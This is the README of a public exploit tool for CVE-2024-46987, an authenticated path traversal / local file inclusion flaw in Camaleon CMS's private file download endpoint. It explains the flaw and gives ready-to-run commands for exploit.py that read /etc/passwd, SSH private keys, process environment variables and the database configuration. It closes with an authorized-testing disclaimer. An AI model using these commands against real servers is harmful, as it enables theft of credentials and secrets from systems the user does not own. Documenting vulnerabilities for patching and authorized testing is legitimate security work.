rival420/cve-2024-46987CVE-2024-46987 - Camaleon CMS LFI Exploit
Authenticated Local File Inclusion (LFI) exploit for Camaleon CMS.
Camaleon CMS is vulnerable to an authenticated LFI attack through the /admin/media/download_private_file endpoint. The file parameter is not properly sanitized, allowing path traversal to read arbitrary files from the server.
pip install requests
# Print file to terminal (default)
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token"
# Save to file
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token" -o passwd.txt
# Read passwd file
python3 exploit.py -u https://example.com -f /etc/passwd -t "auth_token"
# Read SSH keys
python3 exploit.py -u https://example.com -f /home/user/.ssh/id_rsa -t "auth_token" -o id_rsa
# Read environment variables
python3 exploit.py -u https://example.com -f /proc/self/environ -t "auth_token"
# Read application config
python3 exploit.py -u https://example.com -f /var/www/html/config/database.yml -t "auth_token"
This tool is intended for authorized security testing and educational purposes only. Only use against systems you have explicit permission to test.
| Parameter | Description |
|---|
-u, --url | Target URL |
-f, --file | File to read (e.g., /etc/passwd) |
-t, --token | auth_token cookie value |
-o, --output | Output filename (optional, prints to terminal if not set) |